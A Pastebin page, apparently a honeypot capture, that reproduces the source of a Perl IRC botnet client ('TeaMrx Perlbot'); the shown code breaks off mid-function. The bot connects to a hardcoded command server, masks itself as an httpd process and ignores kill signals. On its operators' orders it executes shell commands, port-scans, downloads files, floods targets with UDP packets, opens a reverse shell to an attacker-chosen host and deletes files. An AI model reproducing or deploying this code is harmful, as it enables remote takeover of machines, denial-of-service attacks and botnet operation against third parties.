recon-scout

Honeypot Payload! Seen on: 2016-06-05 21:06

Jun 5th, 2016
107
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 36.58 KB | None | 0 0
  1. #!/usr/bin/perl
  2. #
  3. # TeaMrx Perlbot vS xeQT
  4. #
  5. my @mast3rs = ("chuckie.Admins.BlackTeam.Org",
  6.    "dako.Admins.BlackTeam.Org",
  7.    "BlackTeam.org");
  8.  
  9.  
  10. my @admchan=("#perlbot");
  11.  
  12. $servidor='112.78.204.61' unless $servidor;
  13.  
  14.  
  15. my $xeqt = "!";
  16. my $homedir = "/tmp";
  17. my $shellaccess = 1;
  18. my $xstats = 1;
  19. my $pacotes = 1;
  20. my $linas_max = 5;
  21. my $sleep = 6;
  22. my $portime = 4;
  23.  
  24. my @fakeps = ("/usr/local/apache/bin/httpd -DSSL",
  25.    "/usr/sbin/httpd -k start -DSSL",
  26.    "/usr/sbin/httpd",
  27.    "gnome-pty-helper",
  28.    "httpd");
  29.  
  30. my @nickname = ("TeaMrx","fattys","eliter","vxbot","smufen","dual","lee","carro","frida",
  31.    "TeaMrx1","TeaMrx0","TeaMrx2","TeaMrx3","TeaMrx4","TeaMrx5","TeaMrx6","TeaMrx7",
  32.    "aVe","kmod","kmod2","uselib","raptor","tmpSH","pwned","w00t","DualDuo","Intel",
  33.    "AMDPwr","Geforce","Exploit","vx8m0d","indexs","index","index2","index3","index4",
  34.    "xQt1","xQt2","xQt3","xQt4","xQt5","xQt6","xQt7","xQt8","xQt9","xQt10","TeaMrxz",
  35.    "De","Der","Det","Var","Kam","Dea","Csa","Fbi","Dea","Narko","Gone","Feber","Tull",
  36.    "Tundra","st0rms","fLash","TheLight","Nikko","Nikie","Nikkie","daniel","t0nyandr",
  37.    "Europa","Fanta","Caroline","speedline","Perf0rm","indexs","dan","educat","catina",
  38.    "bindex","hindex","n0rway","myphp","phpvuln","Alarma","GoScan","oslocity","spette",
  39.         "Cascam","vSport","vSmotor","vSteam","vSturbo","Turbost","heeman","andy","loundry",
  40.    "ranger","Carbon","TypeR","Nozz","phpforum","Nxgas","NinaGirl","Isit","lama","ouch",
  41.    "vTeam","vSpot","vCrew","xeQta","Gourl","Vulnx","Hksurl","Greedy","Mrx","counyjail",
  42.    "Spourl","Torshov","Oslos","com_xeqt","mowgli","Asus","com_mrx","MrxTeam","arrest",
  43.    "vScrew","beran","stuing","ucutter","readnot","gethelp","curpos","cutext","Busted",
  44.         "detda","kanjo","neinei","Carbon","irriter","masa","dev-null","korsett","PerlTeam",
  45.         "jada","kanjeg","mutterz","dalenmin","heimdal","Gambler","Deanz","Phreak","Getno",
  46.         "Susa","Pils","Pilz","Bilz","Clubz","Clubs","Clubbin","Fights","Kampen","telenor",
  47.         "Karss","Gophy","reactor","fileporn","filemp3","filelist","free6","purextc","upc",
  48.    "Grandis","Piccaso","Vanda","varburen","Tiesto","Jean","DjEan","MeNe","ThiS","nO",
  49.         "drspeed","fuzzy","buzzz","GoScan","Vulned","Gourl","makeconf","sshdconf","ngtno",
  50.    "m0rtem","cat0","Fuckyall","Fuckit","Aem","Greedy","Hkss","Sparco","MoMo","Carbon",
  51.         "d3nyall","vipz","dualc0rz","twoc0re","gotit","h0lyshit","prtls","rapt0r","Getde",
  52.    "Vulnx","d3nyurl","vUlnurl","v0dka","Torshov","turboo","Boost","fasty","fr","getfr",
  53.    "datacore","dualcore","Daniel","spurv","byrds","jails","spoot","speels","ml","getd",
  54.    "Antivi","nod32","Screwed","alias","mekkka","template","f0rm3","p0ker","Geton","NO",
  55.    "Door","Borr","Jaarn","Sporet","Dopa","Hasjen","purxTc","Liquer","Justlink","Asust",
  56.    "Duffin","Durrett","Dussault","Dwyer","Eardley","Ebeling","Eckel","Edley","Edner",
  57.    "Edward","Eickenhorst","Eliasson","Erdos","Erez","Espinoza","Estes","Etter","Eina",
  58.    "Elmendorf","Elmerick","Elvis","Encinas","Enyeart","Eppling","Erbach","Erdman","d0",
  59.    "Everett","Fabbris","Fagan","Faioes","Altavista","Flamor","Faris","Farone","f00ln3t",
  60.    "Farren","Fasso'","Fates","Feigenbaum","Fejzo","Feldman","Euripides","Enzoo","d00rk",
  61.    "Wikii","Wifii","Jvc","s0nny","lekter","herrier","sp0ker","netply","netb0st","Liq",
  62.         "comma","julie","sveina","andre","pulsedj","p0ker","j0ker","eFn3t","Liers","xTcno",
  63.    "Suite","Incl","Page","Mappe","Oxyd","Infode","Senil","Powers","Langu","m0d","doch",
  64.    "Snakes","Ridder","Viking","Vikings","Norman","Norway","German","Info","Biz","Edud",
  65.    "Ninjas","Ilness","Teacer","Faceoff","devnull","MoMo","Spoon","Liquid","Goofy","Aj",
  66.    "Google","Yahoo","Altavista","Lycos","Sesam","Solno","Googler","ScamNet","w0rmnet",
  67.    "puman","Skeidar","Tinemelk","Freia","Tresis","Tbanen","Adenyed","Hulken","Pureice",
  68.    "Sperre","Lister","Burbon","burb0ns","Toy0","Proxes","WrxSti","Evo6","Evo7","Evo8",
  69.    "wss","bss","natron","kiwis","Reman","SevnUp","Perlpls","Spiid","Govbr","Govmil",
  70.    "Wssss","Files","xFiles","Dataw0rm","n3tw0rm","Info","Biz","Orgy","foksy","Reven",
  71.    "limbo","mambi","bambi","rummy","IluvPerl","PerlKing","Pokerking","Turboa","Gttt",
  72.    "BugScam","BugTraq","Trackqs","Que","Adidas","Umbro","Sportas","Liquid","Forume",
  73.    "Deka","Jbl","Adecco","M5R","Tuners","Techno","Sivilen","Baosh","Snuten","Purken",
  74.    "aaudi","coupe","netliga","liganet","netbase","NetSnok","Snoknet","Snifnet","libz",
  75.    "indexp","jooblaa","mamboo","Binl3n","Cplusplus","p3rls3x","illgoon","de","lime",
  76.    "homes","newsr","sindex","findex","shome","php3","eedan","Evens","Everest","kkk2",
  77.    "igal","c0lombia","freeme","dupen","d3nmark","s2ed3n","crypt0n","n0dam3n","itch",
  78.    "Domino","Tarsan","julie","Anett","Stine","Laura","Croft","Craft","Mrex","jiggy",
  79.    "Hemaan","c0nan","c0nmen","ImI","RdR","Ils","Ass","Dildo","Pula","Blow","Sn0rts",
  80.    "Aloalo","Nasa","DeaGov","FbiGov","NsaGov","CiaGov","CsiEdu","Hav0rd","djPulse",
  81.         "Oslos","Ils","cia","d3a","dea","nsa","nas","asa","kma","Scamurl","vito","xQt");
  82.  
  83. my @xident = ("noway","mirc","cmd","index","main","php","vuln","iiris","bx","sun","khan",
  84.    "info","cpu","pet","pacs","dino","megov","onet","xrm","tisi","parm","cico","jun",
  85.    "caos","fred","peace","dude","rox","rock","rokie","bayrn","gees","hval","wolf",
  86.    "do","go","ln","st","file","page","pag","pg","lg","lang","lng","srcs","action",
  87.    "sml","pod","nvidia","vidia","villa","kake","spat","solo","Cols","kols","kreft",
  88.    "lam","fal","dett","drop","snop","true","fake","yes","sir","mae","nmf","vmax","as",
  89.    "adio","audo","soren","tvtre","host","unitd","coda","cobra","mans","gmail","gtrs",
  90.    "remax","rik","fatig","poor","girls","pow","wop","wok","son","kolsa","royk","asss",
  91.    "los","las","angl","dream","fools","phol","phools","d0rk","spon","spalk","kalk",
  92.    "email","smtp","pops","imapd","pag","lang","lg","nav","php","spyer","cyp","hardy",
  93.         "email","null","mastr","drunk","full","beer","bayer","mage","neve","fist","haist",
  94.         "dara","dora","boris","dev","cupra","isgal","Yuri","Geez","Frys","dos","to","emul",
  95.         "pwned","kung","kim","lil","fatjo","fatman","fat","joe","does","quat","tres","eu",
  96.    "shv5","lrk","lkm","lkmrk","trk5","xt","tqex","itt","full","half","power","sender",
  97.    "does","tres","quat","fiat","spon","kvae","liim","papp","ddos","fart","noz","daim",
  98.    "liga","tvone","shdw","etcpwd","initd","ftpd","wuspl","proftp","newsd","sockd","lue",
  99.    "loma","Domma","hest","heist","tivoli","stud","dust","fust","Flue","nille","kenny",
  100.    "koma","loc","inc","incl","src","fokus","ford","chevy","wrc","cpu","cool","srchers",
  101.    "inc","incl","dir","file","sdir","mains","login","path","base","cmd","cats","farts",
  102.    "fiat","uno","jern","kober","liq","torsk","fisk","laks","hone","hore","buk","noman",
  103.    "lim","idem","prince","sveina","kine","kim","allan","hanne","terje","bukken","bruse",
  104.    "nu","do","li","faen","tater","doc","loc","pof","ninja","per","pets","sings","doper",
  105.    "liq","dop","heroin","dok","page","php3","pop","smtp","data","kilde","foss","lowrdr",
  106.    "drvby","viper","snake","dragon","dup","vuln","cat","grep","loop","inetd","proftpd",
  107.    "pasive","damp","wals","snoke","snik","poff","phil","pill","dra","drjo","djo","laby",
  108.    "rune","alan","britt","brita","stue","stenen","andy","bass","phatt","lover","fresa",
  109.    "jvc","jbl","cia","fed","sov","purk","snut","snif","deka","svovel","life","knife","so",
  110.    "deka","bos","boss","fres","spett","dusj","kappe","norman","keb0rd","fab","dor","bits",
  111.    "kniv","lisa","nina","ole","pat","mtv","charl","smokie","nabo","walk","brks","krad-3",
  112.    "dame","lady","bola","biffen","kamm","drev","sprider","spider","iscrem","daddy","pie",
  113.           "ono","tima","mytm","motor","vsmot","sport","fart","devs","var","tmp","spol","sture".
  114.         "jule","tree","gate","net","rand","perl","line","xqt","mrx","org","asus","sped","yaco",
  115.    "hash","hmm","ddos","pwr","nix","linux","bsd","ppal","aio","mars","bates","daim","da",
  116.    "pico","nmap","juge","sone","log","goofy","kars","meter","daim","kul","foksy","hyena",
  117.    "beta","pulse","driver","org","fos","kars","kma","fua","all","tea","foks","lady","fa",
  118.    "testo","bola","bolen","card","cards","chip","chips","wv","audi","bmw","roys","bechs",
  119.    "nokia","mrx","some","candy","goo","cool","scam","scan","google","lee","cam","li","dm",
  120.    "loff","grov","abcd","pulse","grow","alrt","spyd","trojan","maxd","xeqtd","xQtd","nodz",
  121.    "owner","crime","data","need","doper","hash","mysql","imapd","devil","shark","byn","ju");
  122.  
  123. my @xname = ("Googurl (C) 2006 xeQt","www.Google.com","* Im to lame to read Bitchx.doc *","BiatchX",
  124.    "Tveita Gjengen","Bgjengen","Agjengen","locos","putas","spooon","Type-R Turbo","Civic R Turbo",
  125.    "mIRC 6.1","* Im so lame i cant ready BitchX.doc *","Bill Gates","Cannon","Mtv","nos","nozzz",
  126.    "Sport Crew","vTeam","Turbo","random","paypal","netscam","www.milw0rm.com","lee","av","freace",
  127.    "trojan donkey","Monster Garage","Garage Inc.","Pimp Ma Shit","Pimp my ride","Freak out","Doch",
  128.    "www.packetstormsecurity.org","www.linux.com","www.freebsd.org","Hello There","tyson","mekkkka",
  129.    "Im just myself man","Can u get the clue?","Im not the only one","Fear the lions","mekka","nooo",
  130.    "Dragons back","Turbo Quattro","Sport Quattro","aheh goofy","Just for phun","gBill","goa","Yesir",
  131.    "Thats my mofo name","Snoooop Doggy Style...","Tricky Trickey","love, peace, and xeQt","rbot","ha",
  132.    "Clap your hands","one two tree, bass","lions","Drugs, sex, and xtc","i hate that biatch","ali",
  133.    "Go fuck yourself","whois meeee","Fatjoe Corp","Brooklyn Bounche","Dj Pulsedriver","lee","furu",
  134.    "Random","You have no clue","This rocks","uranium","BinLaden","Ted Bundy","Charlie Cheeens","hans",
  135.    "Will Smith","Freash Prince On IRC","Freash prince in bel air","Powered By PHPBB","mambo","ruy",
  136.    "dj pulse","Powered By xeQt","Delux","2pac","Biggie","Fuck sadam","Allah","Im your god idiot","id",
  137.    "Im to lame to read BitchX.doc","Boika","Diamonds","Jean claude Van dame","Arnold Schwartsneger",
  138.    "Stig","Anothony","White Power","Just do it","vSmotor vs. Turbo","Nismo Skyline GT-R R34","MySquad",
  139.    "Honda Civic Type-R","Maria Carrey","Terror Squad","I'm to lame to read BitchX.doc","w33d","hugo",
  140.    "WinXP 1999 (C) Bill Gates","Microsoft windows xeQtxpress","xeQt vS Mrx Team","Apache httpd server",
  141.    "arne","line","geir","terje","synne","linda","frode","my name?","teamrxPress","xeqters","asus power",
  142.    "Crash Test Dummy","Madonna","vX power","Team Windows","Bill Gates","Bill Gatez","Thats my girl...",
  143.    "Phunter","panter","Snaked","Hunted","Victums","PHPSH","mod_com_xQt","com_xeQter","com_team","assa",
  144.    "Nokia, Connecting People...","BitchX","smoke and fly","com_xeQt_Performance","TeaMrx Performance",
  145.    "xQt","Perlbot version vx9m0d v3","Googurl","Google lovers","xeQt_com","mrx_unit","com_asus","haist",
  146.    "TeaMrx Crew","xQt vS TeaMrx","xeQt vS Mrx","Powered by TeaMrx","Powered by xQt","com_xQt_mrx","com_x",
  147.    "com_teamrx","xeQt the way to go","Perl monks","perlhackers","perl genius","perl team","perl scanner",
  148.    "San Francisco","New York Gangbang..","Team Norway","Team Europe","Team Germany","Team Work","jet lie");
  149.  
  150. #################
  151. # Random Ports
  152. #################
  153. my @rports = ("6667");
  154. my @rports = ("6668");
  155. my @rports = ("6669");
  156. my @rports = ("7000");
  157.  
  158.  
  159. my @Mrx = ("\001mIRC32 v5.91 K.Mardam-Bey\001","\001mIRC v6.2 Khaled Mardam-Bey\001",
  160.    "\001mIRC v6.03 Khaled Mardam-Bey\001","\001mIRC v6.14 Khaled Mardam-Bey\001",
  161.    "\001mIRC v6.15 Khaled Mardam-Bey\001","\001mIRC v6.16 Khaled Mardam-Bey\001",
  162.    "\001mIRC v6.17 Khaled Mardam-Bey\001","\001mIRC v6.21 Khaled Mardam-Bey\001",
  163.    "\001Snak for Macintosh 4.9.8 English\001",
  164.    "\001DvC v0.1 PHP-5.1.1 based on Net_SmartIRC\001",
  165.    "\001PIRCH98:WIN 95/98/WIN NT:1.0 (build 1.0.1.1190)\001",
  166.    "\001xchat 2.6.2 Linux 2.6.18.5 [i686/2.67GHz]\001",
  167.    "\001xchat:2.4.3:Linux 2.6.17-1.2142_FC4 [i686/2,00GHz]\001",
  168.    "\001xchat:2.4.3:Linux 2.6.17-1.2142_FC4 [i686/1.70GHz]\001",
  169.    "\001XChat-GNOME IRC Chat 0.16 Linux 2.6.20-8-generic [i686]\001",
  170.    "\001ircN 7.27 + 7.0 - -\001","\001..(argon/1g) :bitchx-1.0c17\001",
  171.    "\001ircN 8.00 - he tries to tell me what I put inside of me -\001",
  172.    "\001FreeBSD!4.11-STABLE bitchx-1.0c18 - prevail[0123] :down with people\001",
  173.    "\001BitchX-1.0c19+ by panasync - Linux 2.4.31 : Keep it to yourself!\001",
  174.    "\001BitchX-1.0c19+ by panasync - Linux 2.4.33.3 : Keep it to yourself!\001",
  175.    "\001BitchX-1.1-final+ by panasync - Linux 2.6.18.1 : Keep it to yourself!\001",
  176.    "\001BitchX-1.0c19 by panasync - freebsd 4.10-STABLE : Keep it to yourself!\001",
  177.    "\001BitchX-1.1-final+ by panasync - FreeBSD 4.5-STABLE : Keep it to yourself!\001",
  178.    "\001BitchX-1.1-final+ by panasync - FreeBSD 6.0-RELEASE : Keep it to yourself!\001",
  179.    "\001BitchX-1.1-final+ by panasync - FreeBSD 5.3-RELEASE : Keep it to yourself!\001",
  180.    "\001bitchx-1.0c18 :tunnelvision/1.2\001","\001PnP 4.22 - http://www.pairc.com/\001",
  181.    "\001BitchX-1.0c17/FreeBSD 4.10-RELEASE:(c)rackrock/bX [3.0.1·9] : Keep it to yourself!\001",
  182.    "\001P&P 4.22.2 (in development) + X Z P Bots, Sound, NickServ, ChanServ, Extras\001",
  183.    "\001HydraIRC v0.3.148 (18/Jan/2005) by Dominic Clifton aka Hydra - #HydraIRC on EFNet\001",
  184.    "\001irssi v0.8.10 - running on Linux i586\001","\001irssi v0.8.10 - running on FreeBSD i386\001",
  185.    "\001ircII 20050423+ScrollZ 1.9.5 (19.12.2004)+Cdcc v1.6mods v1.0 by acidflash - Almost there\001",
  186.    "\001ircII 20050423+ScrollZ 1.9.5 (19.12.2004)+Cdcc v1.8+OperMods v1.0 by acidflash - Almost there\001");
  187.  
  188. # Default quick scan ports
  189. my @portas=("21","22","23","25","53","80","110","113","143","3306","4000","5900","6667","6668","6669","7000","10000","12345","31337","65501");
  190.  
  191. # xeQt
  192.  
  193. #my $nick = "bq";
  194. my $nick = $nickname[rand scalar @nickname];
  195. my $realname = $xname[rand scalar @xname];
  196. my $ircname = $xident[rand scalar @xident];
  197. my $porta = $rports[rand scalar @rports];
  198. my $xproc = $fakeps[rand scalar @fakeps];
  199. my $Mrx = $Mrx[rand scalar @Mrx];
  200. my $version = 'PowerBots (C) GohacK';
  201.  
  202. $SIG{'INT'} = 'IGNORE';
  203. $SIG{'HUP'} = 'IGNORE';
  204. $SIG{'TERM'} = 'IGNORE';
  205. $SIG{'CHLD'} = 'IGNORE';
  206. $SIG{'PS'} = 'IGNORE';
  207.  
  208. use IO::Socket;
  209. use Socket;
  210. use IO::Select;
  211. chdir("$homedir");
  212. $servidor="$ARGV[0]" if $ARGV[0];
  213. $0="$xproc"."\0";
  214. my $pid=fork;
  215. exit if $pid;
  216. die "[x] -> Cannot fork into background: $!" unless defined($pid);
  217. my %irc_servers;
  218. my %DCC;
  219. my $dcc_sel = new IO::Select->new();
  220.  
  221. sub getnick {
  222.   return "$nickname[rand scalar @nickname]".int(rand(1000));
  223. }
  224.  
  225. sub getstore ($$)
  226. {
  227.   my $url = shift;
  228.   my $file = shift;
  229.  
  230.   $http_stream_out = 1;
  231.   open(GET_OUTFILE, "> $file");
  232.   %http_loop_check = ();
  233.   _get($url);
  234.   close GET_OUTFILE;
  235.   return $main::http_get_result;
  236. }
  237. sub _get
  238. {
  239.   my $url = shift;
  240.   my $proxy = "";
  241.   grep {(lc($_) eq "http_proxy") && ($proxy = $ENV{$_})} keys %ENV;
  242.   if (($proxy eq "") && $url =~ m,^http://([^/:]+)(?::(\d+))?(/\S*)?$,) {
  243.     my $host = $1;
  244.     my $port = $2 || 80;
  245.     my $path = $3;
  246.     $path = "/" unless defined($path);
  247.     return _trivial_http_get($host, $port, $path);
  248.   } elsif ($proxy =~ m,^http://([^/:]+):(\d+)(/\S*)?$,) {
  249.     my $host = $1;
  250.     my $port = $2;
  251.     my $path = $url;
  252.     return _trivial_http_get($host, $port, $path);
  253.   } else {
  254.     return undef;
  255.   }
  256. }
  257. sub _trivial_http_get
  258. {
  259.   my($host, $port, $path) = @_;
  260.   my($AGENT, $VERSION, $p);
  261.   #print "HOST=$host, PORT=$port, PATH=$path\n";
  262.  
  263.   $AGENT = "get-minimal";
  264.   $VERSION = "20000118";
  265.  
  266.   $path =~ s/ /%20/g;
  267.  
  268.   require IO::Socket;
  269.   local($^W) = 0;
  270.   my $sock = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $port, Proto   => 'tcp', Timeout  => 60) || return;
  271.  
  272.   $sock->autoflush;
  273.   my $netloc = $host;
  274.   $netloc .= ":$port" if $port != 80;
  275.   my $request = "GET $path HTTP/1.0\015\012"
  276.               . "Host: $netloc\015\012"
  277.               . "User-Agent: $AGENT/$VERSION/u\015\012";
  278.   $request .= "Pragma: no-cache\015\012" if ($main::http_no_cache);
  279.   $request .= "\015\012";
  280.   print $sock $request;
  281.   my $buf = "";
  282.   my $n;
  283.   my $b1 = "";
  284.   while ($n = sysread($sock, $buf, 8*1024, length($buf))) {
  285.     if ($b1 eq "") {
  286.       $b1 = $buf;
  287.       $buf =~ s/.+?\015?\012\015?\012//s;
  288.     }
  289.     if ($http_stream_out) { print GET_OUTFILE $buf; $buf = ""; }
  290.   }
  291.   return undef unless defined($n);
  292.   $main::http_get_result = 200;
  293.   if ($b1 =~ m,^HTTP/\d+\.\d+\s+(\d+)[^\012]*\012,) {
  294.     $main::http_get_result = $1;
  295.     # print "CODE=$main::http_get_result\n$b1\n";
  296.     if ($main::http_get_result =~ /^30[1237]/ && $b1 =~ /\012Location:\s*(\S+)/) {
  297.       my $url = $1;
  298.       return undef if $http_loop_check{$url}++;
  299.       return _get($url);
  300.     }
  301.     return undef unless $main::http_get_result =~ /^2/;
  302.   }
  303.   return $buf;
  304. }
  305. $sel_cliente = IO::Select->new();
  306. sub sendraw {
  307.   if ($#_ == '1') {
  308.     my $socket = $_[0];
  309.     print $socket "$_[1]\n";
  310.   } else {
  311.       print $IRC_cur_socket "$_[0]\n";
  312.   }
  313. }
  314. sub conectar {
  315.    my $meunick = $_[0];
  316.    my $servidor_con = $_[1];
  317.    my $porta_con = $_[2];
  318.    my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);
  319.    if (defined($IRC_socket)) {
  320.      $IRC_cur_socket = $IRC_socket;
  321.      $IRC_socket->autoflush(1);
  322.      $sel_cliente->add($IRC_socket);
  323.      $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
  324.      $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
  325.      $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  326.      $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
  327.      nick("$meunick");
  328.      sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
  329.      sleep 2;
  330.    }
  331. }
  332. my $line_temp;
  333. while( 1 ) {
  334.    while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
  335.    delete($irc_servers{''}) if (defined($irc_servers{''}));
  336.    &DCC::connections;
  337.    my @ready = $sel_cliente->can_read(0.6);
  338.    next unless(@ready);
  339.    foreach $fh (@ready) {
  340.      $IRC_cur_socket = $fh;
  341.      $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
  342.      $nread = sysread($fh, $msg, 4096);
  343.      if ($nread == 0) {
  344.         $sel_cliente->remove($fh);
  345.         $fh->close;
  346.         delete($irc_servers{$fh});
  347.      }
  348.      @lines = split (/\n/, $msg);
  349.      for(my $c=0; $c<= $#lines; $c++) {
  350.        $line = $lines[$c];
  351.        $line=$line_temp.$line if ($line_temp);
  352.        $line_temp='';
  353.        $line =~ s/\r$//;
  354.        unless ($c == $#lines) {
  355.          parse("$line");
  356.        } else {
  357.            if ($#lines == 0) {
  358.              parse("$line");
  359.            } elsif ($lines[$c] =~ /\r$/) {
  360.                parse("$line");
  361.            } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  362.                parse("$line");
  363.            } else {
  364.                $line_temp = $line;
  365.            }
  366.        }
  367.       }
  368.    }
  369. }
  370.  
  371. sub parse {
  372.    my $servarg = shift;
  373.    if ($servarg =~ /^PING \:(.*)/) {
  374.      sendraw("PONG :$1");
  375.    } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  376.        my $pn=$1; my $hostnam3=$3; my $onde = $4; my $args = $5;
  377.        if ($args =~ /^\001VERSION\001$/) {
  378.          notice("$pn", "".$Mrx."");
  379.        }
  380.        elsif ($args =~ /^\001PING\s+(\d+)\001$/) {
  381.          notice("$pn", "\001PONG\001");
  382.        }
  383.        elsif (grep {$_ =~ /^(\Q$pn\E|\Q$hostnam3\E)$/i } @mast3rs) {
  384.          if ($onde eq "$meunick"){
  385.            shell("$pn", "$args");
  386.         }
  387.     if ($args =~ /^!(.*)/){
  388.        ircase("$pn","$chan","$1");
  389.     }
  390.         if ($args =~ /^(\Q$meunick\E|\Q$xeqt\E)\s+(.*)/ ) {
  391.             my $natrix = $1;
  392.             my $arg = $2;
  393.             if ($arg =~ /^\!(.*)/) {
  394.               ircase("$pn","$onde","$1");
  395.             } elsif ($arg =~ /^\@(.*)/) {
  396.                 $ondep = $onde;
  397.                 $ondep = $pn if $onde eq $meunick;
  398.                 bfunc("$ondep","$1");
  399.             } else {
  400.                 shell("$onde", "$arg");
  401.             }
  402.          }
  403.        }
  404.    } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  405.        if (lc($1) eq lc($meunick)) {
  406.          $meunick=$4;
  407.          $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  408.        }
  409.    } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  410.        $meunick = getnick();
  411.        nick("".$meunick."-");
  412.    } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  413.        $meunick = $2;
  414.        $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  415.        $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  416.        foreach my $canal (@admchan){
  417.          sendraw("JOIN $canal 206xss");
  418.        }
  419.    }
  420. }
  421. sub bfunc {
  422.   my $printl = $_[0];
  423.   my $funcarg = $_[1];
  424.   if (my $pid = fork) {
  425.      waitpid($pid, 0);
  426.   } else {
  427.       if (fork)
  428.        {
  429.          exit;
  430.        }
  431.    else
  432.    {
  433.       # Quick scan
  434.            if ($funcarg =~ /^ps (.*)/) {
  435.              my $hostip="$1";
  436.         sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312Portscanning\003\002: $1 \002\00312Ports:\003\002 default");
  437.              my (@aberta, %porta_banner);
  438.              foreach my $porta (@portas)  {
  439.                 my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => $portime);
  440.                 if ($scansock) {
  441.                    push (@aberta, $porta);
  442.                    $scansock->close;
  443.          sendraw($IRC_cur_socket, "PRIVMSG $printl :Found: $porta"."/Open");
  444.                 }
  445.              }
  446.              if (@aberta) {
  447.                sendraw($IRC_cur_socket, "PRIVMSG $printl :Port Scan Complete with target: $1 ");
  448.              } else {
  449.                  sendraw($IRC_cur_socket,"PRIVMSG $printl :\002[x]\0034 No open ports found on\002 $1");
  450.              }
  451.            }
  452.       # NMAP, lol
  453.            elsif ($funcarg =~ /^nmap\s+(.*)\s+(\d+)\s+(\d+)/)
  454.       {
  455.               my $hostname="$1";
  456.               my $portstart = "$2";
  457.                my $portend = "$3";
  458.                my (@abertas, %porta_banner);
  459.           sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312xMap Portscanning\003\002: $1 \002\00312Ports:\003\002 $2-$3");
  460.                foreach my $porta ($portstart..$portend)
  461.              {
  462.                my $scansock = IO::Socket::INET->new(PeerAddr => $hostname, PeerPort => $porta, Proto => 'tcp', Timeout => $portime);
  463.                if ($scansock) {
  464.                  push (@abertas, $porta);
  465.                  $scansock->close;
  466.                  if ($xstats)
  467.        {
  468.                    sendraw($IRC_cur_socket, "PRIVMSG $printl :Found: $porta"."/Open");
  469.                  }
  470.                }
  471.              }
  472.              if (@abertas) {
  473.           sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312Scan Complate\003\002");
  474.              } else {
  475.                sendraw($IRC_cur_socket,"PRIVMSG $printl :\002\00312No ports found..\002");
  476.              }
  477.             }
  478.       # Remove
  479.       elsif ($funcarg =~ /^rm/)
  480.       {
  481.          system("cd /var/tmp ; rm -rf .mrx ; rm -rf alex.txt ; rm -rf alex.txt.* vx* mrx*");
  482.       system("cd /tmp ; rm -rf .mrx ; rm -rf alex.txt ; rm -rf alex.* ; mkdir /tmp/.mrx ; cd /tmp/.mrx");
  483.       sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312(Quickdel)\002\00314 Removed files and folders ");
  484.       }
  485.       # Version
  486.       elsif ($funcarg =~ /^version/)
  487.       {
  488.          sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312(Version)\002\00314 $version ");
  489.       }
  490.       # Download
  491.            elsif ($funcarg =~ /^down\s+(.*)\s+(.*)/)
  492.       {
  493.               getstore("$1", "$2");
  494.               sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312(Download)\002\00314 Page: $2 (File: $1)") if ($xstats);
  495.            }
  496.        # Udp
  497.             elsif ($funcarg =~ /^udp\s+(.*)\s+(\d+)\s+(\d+)/) {
  498.               return unless $pacotes;
  499.               socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
  500.               my $alvo=inet_aton("$1");
  501.               my $porta = "$2";
  502.               my $tempo = "$3";
  503.               my $pacote;
  504.               my $pacotese;
  505.               my $fim = time + $tempo;
  506.               my $pacota = 1;
  507.          sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312(UDP DDoSing)\003 Attacking\002: $1 - \002Time\002: $tempo"."seconds");
  508.               while (($pacota == "1") && ($pacotes == "1")) {
  509.                 $pacota = 0 if ((time >= $fim) && ($tempo != "0"));
  510.                 $pacote=$rand x $rand x $rand;
  511.                 $porta = int(rand 65000) +1 if ($porta == "0");
  512.                 send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++ if ($pacotes == "1");
  513.               }
  514.               if ($xstats)
  515.               {
  516.                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312(UDP Complete):\003\002 $1 - \002Sendt\002: $pacotese"."kb - \002Time\002: $tempo"."seconds");
  517.              }
  518.             }
  519.  
  520.        # Backconnect
  521.             elsif ($funcarg =~ /^back\s+(.*)\s+(\d+)/) {
  522.               my $host = "$1";
  523.               my $porta = "$2";
  524.               my $proto = getprotobyname('tcp');
  525.               my $iaddr = inet_aton($host);
  526.               my $paddr = sockaddr_in($porta, $iaddr);
  527.               my $shell = "/bin/sh -i";
  528.               if ($^O eq "MSWin32") {
  529.                 $shell = "cmd.exe";
  530.               }
  531.               socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
  532.               connect(SOCKET, $paddr) or die "connect: $!";
  533.          sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[x] ->\0034 Injection ...");
  534.               open(STDIN, ">&SOCKET");
  535.               open(STDOUT, ">&SOCKET");
  536.               open(STDERR, ">&SOCKET");
  537.               system("$shell");
  538.          system("cd /tmp/.mrx");
  539.               close(STDIN);
  540.               close(STDOUT);
  541.               close(STDERR);
  542.             }
  543.            exit;
  544.        }
  545.   }
  546. }
  547.  
  548. sub ircase {
  549.   my ($kem, $printl, $case) = @_;
  550.  
  551.    if ($case =~ /^join (.*)/) {
